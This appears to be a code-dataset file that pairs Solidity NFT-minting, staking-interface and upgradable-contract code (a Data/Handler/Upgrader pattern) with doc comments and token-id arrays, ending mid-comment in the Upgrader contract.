require(totalSupply() <= MAX_NFT, 'All tokens have been minted');
require(_numOfTokens == 1, 'Cannot purchase this many tokens');
require(!giveawayMintClaimed[msg.sender], 'Already claimed giveaway');
giveawayMintClaimed[msg.sender] = true;
_safeMint(msg.sender, _numOfTokens);
}
}
/*
* Function to mint NFTs for giveaway and partnerships
*/
function mintByOwner(
address _to,
uint256 _num
)
public
onlyOwner
{
require(totalSupply()+_num <= MAX_NFT, "Tokens number to mint cannot exceed number of MAX tokens");
_safeMint(_to, _num);
}
/*
* Function to mint all NFTs for giveaway and partnerships
*/
function mintMultipleByOwner(
address[] memory _to,
uint256 _num
)
public
onlyOwner
{
for(uint256 i = 0; i < _to.length; i++){
require(totalSupply()+_num <= MAX_NFT, "Tokens number to mint cannot exceed number of MAX tokens");
_safeMint(_to[i], _num);
}
}
/*
* Function to get token URI of given token ID
* URI will be blank untill totalSupply reaches MAX_NFT_PUBLIC
*/
function tokenURI(
uint256 _tokenId
)
public
view
virtual
override
returns (string memory)
{
require(_exists(_tokenId), "ERC721Metadata: URI query for nonexistent token");
if (!reveal) {
return string(abi.encodePacked(blindURI));
} else {
return string(abi.encodePacked(baseURI, _tokenId.toString()));
}
}
// Set Root for whitelist and raffle to participate in presale
function setRootAndMax(uint256 _root,uint256 _max) onlyOwner() public {
root = bytes32(_root);
WHITELIST_MAX_MINT = _max;
}
// Verify MerkleProof
function verify(bytes32[] memory proof, bytes32 leaf) public view returns (bool) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = sha256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = sha256(abi.encodePacked(proofElement, computedHash));
}
}
// Check if the computed hash (root) is equal to the provided root
return computedHash == root;
}
}
|
Function to mint NFTs for giveaway and partnerships/
|
function mintByOwner(
address _to,
uint256 _num
)
public
onlyOwner
{
require(totalSupply()+_num <= MAX_NFT, "Tokens number to mint cannot exceed number of MAX tokens");
_safeMint(_to, _num);
}
| 10,946,444 |
[
1,
2083,
358,
312,
474,
423,
4464,
87,
364,
8492,
26718,
471,
1087,
9646,
5310,
87,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
312,
474,
858,
5541,
12,
203,
3639,
1758,
389,
869,
16,
203,
3639,
2254,
5034,
389,
2107,
203,
565,
262,
203,
3639,
1071,
203,
3639,
1338,
5541,
203,
565,
288,
203,
3639,
2583,
12,
4963,
3088,
1283,
1435,
15,
67,
2107,
1648,
4552,
67,
50,
4464,
16,
315,
5157,
1300,
358,
312,
474,
2780,
9943,
1300,
434,
4552,
2430,
8863,
203,
3639,
389,
4626,
49,
474,
24899,
869,
16,
389,
2107,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.17;
/*
* @title Interface for BondingManager
* TODO: switch to interface type
*/
contract IBondingManager {
event TranscoderUpdate(address indexed transcoder, uint256 pendingRewardCut, uint256 pendingFeeShare, uint256 pendingPricePerSegment, bool registered);
event TranscoderEvicted(address indexed transcoder);
event TranscoderResigned(address indexed transcoder);
event TranscoderSlashed(address indexed transcoder, address finder, uint256 penalty, uint256 finderReward);
event Reward(address indexed transcoder, uint256 amount);
event Bond(address indexed newDelegate, address indexed oldDelegate, address indexed delegator, uint256 additionalAmount, uint256 bondedAmount);
event Unbond(address indexed delegate, address indexed delegator, uint256 unbondingLockId, uint256 amount, uint256 withdrawRound);
event Rebond(address indexed delegate, address indexed delegator, uint256 unbondingLockId, uint256 amount);
event WithdrawStake(address indexed delegator, uint256 unbondingLockId, uint256 amount, uint256 withdrawRound);
event WithdrawFees(address indexed delegator);
// Deprecated events
// These event signatures can be used to construct the appropriate topic hashes to filter for past logs corresponding
// to these deprecated events.
// event Bond(address indexed delegate, address indexed delegator);
// event Unbond(address indexed delegate, address indexed delegator);
// event WithdrawStake(address indexed delegator);
// External functions
function setActiveTranscoders() external;
function updateTranscoderWithFees(address _transcoder, uint256 _fees, uint256 _round) external;
function slashTranscoder(address _transcoder, address _finder, uint256 _slashAmount, uint256 _finderFee) external;
function electActiveTranscoder(uint256 _maxPricePerSegment, bytes32 _blockHash, uint256 _round) external view returns (address);
// Public functions
function transcoderTotalStake(address _transcoder) public view returns (uint256);
function activeTranscoderTotalStake(address _transcoder, uint256 _round) public view returns (uint256);
function isRegisteredTranscoder(address _transcoder) public view returns (bool);
function getTotalBonded() public view returns (uint256);
}
|
@title Interface for BondingManager TODO: switch to interface type/ Deprecated events These event signatures can be used to construct the appropriate topic hashes to filter for past logs corresponding to these deprecated events. event Bond(address indexed delegate, address indexed delegator); event Unbond(address indexed delegate, address indexed delegator); event WithdrawStake(address indexed delegator); External functions Public functions
|
contract IBondingManager {
event TranscoderUpdate(address indexed transcoder, uint256 pendingRewardCut, uint256 pendingFeeShare, uint256 pendingPricePerSegment, bool registered);
event TranscoderEvicted(address indexed transcoder);
event TranscoderResigned(address indexed transcoder);
event TranscoderSlashed(address indexed transcoder, address finder, uint256 penalty, uint256 finderReward);
event Reward(address indexed transcoder, uint256 amount);
event Bond(address indexed newDelegate, address indexed oldDelegate, address indexed delegator, uint256 additionalAmount, uint256 bondedAmount);
event Unbond(address indexed delegate, address indexed delegator, uint256 unbondingLockId, uint256 amount, uint256 withdrawRound);
event Rebond(address indexed delegate, address indexed delegator, uint256 unbondingLockId, uint256 amount);
event WithdrawStake(address indexed delegator, uint256 unbondingLockId, uint256 amount, uint256 withdrawRound);
event WithdrawFees(address indexed delegator);
function setActiveTranscoders() external;
function updateTranscoderWithFees(address _transcoder, uint256 _fees, uint256 _round) external;
function slashTranscoder(address _transcoder, address _finder, uint256 _slashAmount, uint256 _finderFee) external;
function electActiveTranscoder(uint256 _maxPricePerSegment, bytes32 _blockHash, uint256 _round) external view returns (address);
function transcoderTotalStake(address _transcoder) public view returns (uint256);
function activeTranscoderTotalStake(address _transcoder, uint256 _round) public view returns (uint256);
function isRegisteredTranscoder(address _transcoder) public view returns (bool);
function getTotalBonded() public view returns (uint256);
}
| 2,543,532 |
[
1,
1358,
364,
605,
1434,
310,
1318,
2660,
30,
1620,
358,
1560,
618,
19,
9336,
2641,
8646,
871,
14862,
848,
506,
1399,
358,
4872,
326,
5505,
3958,
9869,
358,
1034,
364,
8854,
5963,
4656,
358,
4259,
6849,
2641,
18,
871,
605,
1434,
12,
2867,
8808,
7152,
16,
1758,
8808,
11158,
639,
1769,
871,
1351,
26425,
12,
2867,
8808,
7152,
16,
1758,
8808,
11158,
639,
1769,
871,
3423,
9446,
510,
911,
12,
2867,
8808,
11158,
639,
1769,
11352,
4186,
7224,
4186,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
16178,
310,
1318,
288,
203,
565,
871,
2604,
3396,
1891,
12,
2867,
8808,
906,
3396,
16,
2254,
5034,
4634,
17631,
1060,
15812,
16,
2254,
5034,
4634,
14667,
9535,
16,
2254,
5034,
4634,
5147,
2173,
4131,
16,
1426,
4104,
1769,
203,
565,
871,
2604,
3396,
29600,
329,
12,
2867,
8808,
906,
3396,
1769,
203,
565,
871,
2604,
3396,
607,
724,
329,
12,
2867,
8808,
906,
3396,
1769,
203,
565,
871,
2604,
3396,
11033,
329,
12,
2867,
8808,
906,
3396,
16,
1758,
7532,
16,
2254,
5034,
23862,
16,
2254,
5034,
7532,
17631,
1060,
1769,
203,
565,
871,
534,
359,
1060,
12,
2867,
8808,
906,
3396,
16,
2254,
5034,
3844,
1769,
203,
565,
871,
605,
1434,
12,
2867,
8808,
394,
9586,
16,
1758,
8808,
1592,
9586,
16,
1758,
8808,
11158,
639,
16,
2254,
5034,
3312,
6275,
16,
2254,
5034,
324,
265,
785,
6275,
1769,
203,
565,
871,
1351,
26425,
12,
2867,
8808,
7152,
16,
1758,
8808,
11158,
639,
16,
2254,
5034,
640,
26425,
310,
2531,
548,
16,
2254,
5034,
3844,
16,
2254,
5034,
598,
9446,
11066,
1769,
203,
565,
871,
868,
26425,
12,
2867,
8808,
7152,
16,
1758,
8808,
11158,
639,
16,
2254,
5034,
640,
26425,
310,
2531,
548,
16,
2254,
5034,
3844,
1769,
203,
565,
871,
3423,
9446,
510,
911,
12,
2867,
8808,
11158,
639,
16,
2254,
5034,
640,
26425,
310,
2531,
548,
16,
2254,
5034,
3844,
16,
2254,
5034,
598,
9446,
11066,
1769,
203,
565,
871,
3423,
9446,
2954,
281,
12,
2867,
8808,
11158,
639,
1769,
203,
203,
203,
565,
445,
20669,
1429,
1559,
2
] |
./partial_match/11155111/0x9B36F148D92494F144d8F70F60cCadC4b726194e/sources/nft/chainTransferAble/Tripster721ACreateFeeTransferChainSender.sol
|
เปิดให้ whitelist mint uint256 _indexOfIpfsCollection = _indexOfCollectionId(collectionId);
|
function release_whitelist(uint256 collectionIndex) public onlyOwner {
IpfsCollections[collectionIndex].whitelist_released = true;
IpfsCollections[collectionIndex].public_released = false;
}
| 3,534,161 |
[
1,
161,
122,
227,
161,
121,
254,
161,
121,
117,
161,
121,
247,
161,
122,
230,
161,
121,
109,
161,
122,
236,
10734,
312,
474,
2254,
5034,
389,
31806,
5273,
2556,
2532,
273,
389,
31806,
2532,
548,
12,
5548,
548,
1769,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
3992,
67,
20409,
12,
11890,
5034,
1849,
1016,
13,
1071,
1338,
5541,
288,
203,
3639,
14709,
2556,
15150,
63,
5548,
1016,
8009,
20409,
67,
9340,
72,
273,
638,
31,
203,
3639,
14709,
2556,
15150,
63,
5548,
1016,
8009,
482,
67,
9340,
72,
273,
629,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.0;
import './SafeMath.sol';
/**
* Here is an example of upgradable contract, consisting of three parts:
* - Data contract keeps the resources (data) and is controlled by the Handler contract;
* - Handler contract (implements Handler interface) defines operations and provides services. This contract can be upgraded;
* - Upgrader contract (optional) deals with the voting mechanism and upgrades the Handler contract. The voters are pre-defined
* by the contract owner.
*
* @author Kaidong Wu ([email protected])
* @version 0.1.5
*/
/**
* The example of Data contract.
* There are three parts in the Data contract:
* - Administrator Data: owner’s address, Handler contract’s address and an boolean indicating whether the contract is
* initialized or not.
* - Upgrader Data: Upgrader contract’s address, upgrade proposal’s submission timestamp and proposal’s time period.
* - Resource Data: all other resources that the contract needs to keep and mange.
*/
contract DataContract {
using SafeMath for uint256;
/** Management data */
// Owner and Handler contract
address private owner;
address private handlerAddr;
// Getter permitted
mapping(address => bool) private addressPermissions;
// Ready?
bool private valid;
/** Upgrader data */
address private upgraderAddr;
uint256 private proposalBlockNumber;
uint256 private proposalPeriod;
/// Upgrading status of the Handler contract
enum UpgradingStatus {
// Can be upgraded
Done,
// In upgrading
InProgress,
// Another proposal is in progress
Blocked,
// Expired
Expired,
// Original Handler contract error
Error
}
/** Data resources: examples */
string private exmStr;
uint256 private exmInt;
mapping(address => uint256) private exmMapping;
uint16[] private exmArray;
struct ExmStruct {
uint16 key;
string value;
uint[] list;
mapping(uint16 => uint16) map;
}
mapping(uint16 => ExmStruct) private exmStructMapping;
/**
* Constructor.
* Set the period of upgrading proposal.
*
* @param _period default value of this.proposalPeriod.
*/
constructor (uint256 _period) public {
owner = msg.sender;
upgraderAddr = address(0);
proposalBlockNumber = 0;
proposalPeriod = _period;
valid = false;
addressPermissions[msg.sender] = true;
}
/** Modifiers */
/**
* Check if msg.sender is the Handler contract. It is used for setters.
* If fail, throw PermissionException.
*/
modifier onlyHandler {
require(msg.sender == handlerAddr, "Only Handler contract can call this function!");
_;
}
/**
* Check if msg.sender is not permitted to call getters. It is used for getters (if necessary).
* If fail, throw GetterPermissionException.
*/
modifier allowedAddress {
require(addressPermissions[msg.sender], "Do not have the permission!");
_;
}
/**
* Check if the contract is working.
* If fail, throw UninitializationException.
*/
modifier ready {
require(valid, "Data contract has not been initialized!");
_;
}
/** Management functions */
/**
* Initializer. just the Handler contract can call it.
*
* @param _str default value of this.exmStr.
* @param _int default value of this.exmInt.
* @param _array default value of this.exmArray.
*
* exception PermissionException msg.sender is not the Handler contract.
* exception ReInitializationException contract has been initialized.
*
* @return if the initialization succeeds.
*/
function initialize (string _str, uint256 _int, uint16 [] _array) external onlyHandler returns(bool) {
require(!valid, "Data contarct has been initialized!");
exmStr = _str;
exmInt = _int;
exmArray = _array;
valid = true;
return true;
}
/**
* Set Handler contract for the contract. Owner must set one to initialize the Data contract.
* Handler can be set by owner or Upgrader contract.
*
* @param _handlerAddr address of a deployed Handler contract.
* @param _originalHandlerAddr address of the original Handler contract, only used when an Upgrader contract want to set the Handler contract.
*
* exception PermissionException msg.sender is not the owner nor a registered Upgrader contract.
* exception UpgraderException Upgrader contract does not provide a right address of the original Handler contract.
*
* @return if Handler contract is successfully set.
*/
function setHandler (address _handlerAddr, address _originalHandlerAddr) external returns(bool) {
// If Handler contract can be just upgraded by Upgrader contract except the first one, use this requirement.
require((!valid && msg.sender == owner) || msg.sender == upgraderAddr, "Permission error!");
// // The other version of requirement, owner can always upgrade the Handler contract as well.
// require(msg.sender == owner || msg.sender == upgraderAddr, "Permission error!");
// Check if the Upgrader contract is right.
require(handlerAddr == address(0) || handlerAddr == _originalHandlerAddr, "Upgrader contract error!");
// Allow Handler contract to use getters, and remove original Handler contract's permission.
addressPermissions[_handlerAddr] = true;
if (handlerAddr != address(0)) {
addressPermissions[handlerAddr] = false;
}
handlerAddr = _handlerAddr;
upgraderAddr = address(0);
return true;
}
/** Upgrader contract functions */
/**
* Register an Upgrader contract in the contract.
* If a proposal has not been accepted until proposalBlockNumber + proposalPeriod, it can be replaced by a new one.
*
* @param _upgraderAddr address of a deployed Upgrader contract.
*
* exception PermissionException msg.sender is not the owner.
* exception UpgraderConflictException Another Upgrader contract is working.
*
* @return if Upgrader contract is successfully registed.
*/
function startUpgrading (address _upgraderAddr) public returns(bool) {
require(msg.sender == owner, "Just owner can start upgrading Handler contract!");
require(upgraderAddr == address(0) ||
proposalBlockNumber.add(proposalPeriod) < block.number,
"Another proposal is in the progress!");
upgraderAddr = _upgraderAddr;
proposalBlockNumber = block.number;
return true;
}
/**
* Getter of proposalPeriod.
*
* exception UninitializationException uninitialized contract.
* exception GetterPermissionException msg.sender is not permitted to call the getter.
*
* @return this.proposalPeriod.
*/
function getProposalPeriod () public view ready allowedAddress returns(uint256) {
return proposalPeriod;
}
/**
* Setter of proposalPeriod.
*
* @param _proposalPeriod new value of this.proposalPeriod.
*
* exception UninitializationException uninitialized contract.
* exception PermissionException msg.sender is not the owner.
*
* @return if this.proposalPeriod is successfully set.
*/
function setProposalPeriod (uint256 _proposalPeriod) public ready returns(bool) {
require(msg.sender == owner, "Permission error!");
proposalPeriod = _proposalPeriod;
return true;
}
/**
* Return upgrading status for Upgrader contracts.
*
* @param _originalHandlerAddr address of the original Handler contract.
*
* exception UninitializationException uninitialized contract.
*
* @return Handler contract's upgrading status.
*/
function canBeUpgraded (address _originalHandlerAddr) external view ready returns(UpgradingStatus) {
if (handlerAddr != _originalHandlerAddr) {
return UpgradingStatus.Error;
}
if (upgraderAddr == msg.sender) {
if (proposalBlockNumber.add(proposalPeriod) < block.number) {
return UpgradingStatus.Expired;
} else {
return UpgradingStatus.InProgress;
}
} else {
if (proposalBlockNumber.add(proposalPeriod) < block.number) {
return UpgradingStatus.Done;
} else {
return UpgradingStatus.Blocked;
}
}
}
/**
* Check if the contract has been initialized.
*
* @return if the contract has been initialized.
*/
function live () external view returns(bool) {
return valid;
}
/** Getters and setters of data resources: examples */
function getExmStr () external view ready allowedAddress returns(string) {
return exmStr;
}
function setExmStr (string _str) external ready onlyHandler returns(bool) {
exmStr = _str;
return true;
}
function getExmInt () external view ready allowedAddress returns(uint256) {
return exmInt;
}
function setExmInt (uint256 _int) external ready onlyHandler returns(bool) {
exmInt = _int;
return true;
}
function getExmMappingValue (address _key) external view ready allowedAddress returns(uint256) {
return exmMapping[_key];
}
function setExmMappingValue (address _key, uint256 _value) external ready onlyHandler returns(bool) {
exmMapping[_key] = _value;
return true;
}
function deleteExmMappingValue (address _key) external ready onlyHandler returns(bool) {
delete exmMapping[_key];
return true;
}
function getExmArray () external view ready allowedAddress returns(uint16[]) {
return exmArray;
}
function addElementInExmArray (uint16 _e) external ready onlyHandler returns(bool) {
exmArray.push(_e);
return true;
}
function deleteElementByIndex (uint256 _index) external ready onlyHandler returns(bool) {
require(exmArray.length > _index, "Index error!");
delete exmArray[_index];
return true;
}
function deleteElementByEle (uint16 _e) external ready onlyHandler returns(bool) {
uint i = 0;
while (i < exmArray.length && exmArray[i] != _e) {
i++;
}
if (i != exmArray.length) {
delete exmArray[i];
}
return true;
}
function deleteAllElementsByEle (uint16 _e) external ready onlyHandler returns(bool) {
for (uint i = exmArray.length; i > 0; i--) {
if (exmArray[i-1] == _e) {
delete exmArray[i-1];
}
}
return true;
}
function getExmStruct (uint16 _key) external view ready allowedAddress returns(uint16, string, uint256[]) {
ExmStruct storage tmp = exmStructMapping[_key];
return (tmp.key, tmp.value, tmp.list);
}
function setExmStruct (uint16 _k, uint16 _key, string _value, uint256[] _list) external ready onlyHandler returns(bool) {
ExmStruct storage tmp = exmStructMapping[_k];
tmp.key = _key;
tmp.value = _value;
tmp.list = _list;
return true;
}
function getMapValueInExmStruct (uint16 _k, uint16 _key) external view ready allowedAddress returns(uint16) {
return exmStructMapping[_k].map[_key];
}
function setMapInExmStruct (uint16 _k, uint16 _key, uint16 _value) external ready onlyHandler returns(bool) {
exmStructMapping[_k].map[_key] = _value;
return true;
}
function deleteMapInExmStruct (uint16 _k, uint16 _key) external ready onlyHandler returns(bool) {
delete exmStructMapping[_k].map[_key];
return true;
}
}
/**
* Handler interface.
* Handler defines bussiness related functions.
* Use the interface to ensure that your external services are always supported.
* Because of function live(), we design IHandler as an abstract contract
* rather than a true interface.
*
* Handler is deployed as following steps:
* 1. Deploy Data contract;
* 2. Deploy a Handler contract at a given address specified in the data
* contract;
* 3. Register the Handler contract address by calling setHandler() in the
* Data contract, or use an Upgrader contract to switch the handler
* contract, which requires that Data contract is initialized;
* 4. Initialize Data contract if haven’t done it already.
*/
contract IHandler {
/**
* Initialize the data contarct.
*
* @param _str value of exmStr of Data contract.
* @param _int value of exmInt of Data contract.
* @param _array value of exmArray of Data contract.
*/
function initialize (string _str, uint256 _int, uint16 [] _array) public;
/**
* Register Upgrader contract address.
*
* @param _upgraderAddr address of the Upgrader contract.
*/
function prepare2BUpgraded (address _upgraderAddr) external;
/**
* Upgrader contract calls this to check if it is registered.
*
* @return if the Upgrader contract is registered.
*/
function isPrepared4Upgrading () external view returns(bool);
/**
* Handler has been upgraded so the original one has to self-destruct.
*/
function done() external;
/**
* Check if the Handler contract is a working Handler contract.
* It is used to prove the contract is a Handler contract.
*
* @return always true.
*/
function live() external pure returns(bool) {
return true;
}
/** Functions: define functions here */
// Some example functions.
function a () view external returns(string);
function b (string _str) external;
/** Events: add events here */
// Some example events.
event Create(address contractAddress);
}
/**
* An example implementation of Handler contract interface
*/
contract Handler is IHandler {
using SafeMath for uint256;
/** Management data */
// Owner.
address private owner;
// Data conract.
DataContract private data;
// Cache of data.live().
bool private valid;
/** Upgrader data */
address private upgraderAddr;
/**
* Constructor.
*
* @param _dataAddr address of the Data contract.
*/
constructor (address _dataAddr) public {
owner = msg.sender;
data = DataContract(_dataAddr);
valid = data.live();
}
/**
* Initialize the data contarct.
*
* @param _str value of exmStr of Data contract.
* @param _int value of exmInt of Data contract.
* @param _array value of exmArray of Data contract.
*
* exception PermissionException msg.sender is not the owner.
* exception ReInitializationException Data contract has been initialized.
*
* event Create service is created.
*/
function initialize (string _str, uint256 _int, uint16 [] _array) public {
require(msg.sender == owner, "Permission error!");
require(data.initialize(_str, _int, _array),
"Initialization failed! Check if the Data contract has been initialized!");
valid = true;
// Example event is used.
emit Create(address(this));
}
/**
* Register upgrader address.
*
* @param _upgraderAddr address of the upgrader.
*
* exception PermissionException msg.sender is not the owner.
*/
function prepare2BUpgraded (address _upgraderAddr) external {
require(msg.sender == owner, "Permission error!");
upgraderAddr = _upgraderAddr;
}
/**
* Upgrader calls this to check if it is registered.
*
* @return if the upgrader is registered.
*/
function isPrepared4Upgrading () external view returns(bool) {
return upgraderAddr == msg.sender;
}
/**
* Handler has been upgraded so the original one has to self-destruct.
*
* exception PermissionException msg.sender is not the owner nor the upgrader.
*/
function done() external{
require(msg.sender == owner || msg.sender == upgraderAddr, "Permission error!");
selfdestruct(owner);
}
/** Functions */
// Example functons.
function a () view external returns(string) {
return data.getExmStr();
}
function b (string _str) external {
data.setExmStr(_str);
}
}
/**
* Handler upgrader. The upgrader works in following steps:
* 1. Verify the Data contract, its corresponding Handler contract and the new Handler contract have all been deployed;
* 2. Deploy an Upgrader contract using Data contract address, previous Handler contract address and new Handler contract
* address;
* 3. Register upgrader address in the new Handler contract first, then the original hander and finally the Data contract;
* 4. Call startProposal() to start the voting process;
* 5. Call getResolution() before the expiration;
* 6. Upgrade succeed or proposal is expired.
* * Function done() can be called at any time to let upgrader destruct itself.
* * Function status() can be called at any time to show caller status of the upgrader.
*/
contract Upgrader {
using SafeMath for uint256;
address private owner;
// Data contract
DataContract public data;
// Original Handler contract
IHandler public originalHandler;
// New Handler contract
address public newHandlerAddr;
/** Marker */
enum UpgraderStatus {
Preparing,
Voting,
Success,
Expired,
End
}
UpgraderStatus public status;
/** Voting mechanism related */
uint256 private percentage;
mapping(address => bool) public voting;
mapping(address => bool) private voterRegistered;
uint256 private numOfVoters = 0;
uint256 private numOfAgreements = 0;
/**
* Check if the proposal is expired.
* If so, contract would be marked as expired.
*
* exception PreparingUpgraderException proposal has not been started.
* exception ReupgradingException upgrading has been done.
* exception ExpirationException proposal is expired.
*/
modifier notExpired {
require(status != UpgraderStatus.Preparing, "Invalid proposal!");
require(status != UpgraderStatus.Success, "Upgrading has been done!");
require(status != UpgraderStatus.Expired, "Proposal is expired!");
if (data.canBeUpgraded(address(originalHandler)) != DataContract.UpgradingStatus.InProgress) {
status = UpgraderStatus.Expired;
require(false, "Proposal is expired!");
}
_;
}
/**
* Constructor.
*
* @param _dataAddr address of the Data contract.
* @param _originalAddr address of the original Handler contract.
* @param _newAddr address of the new Handler contract.
* @param _voters addresses of voters.
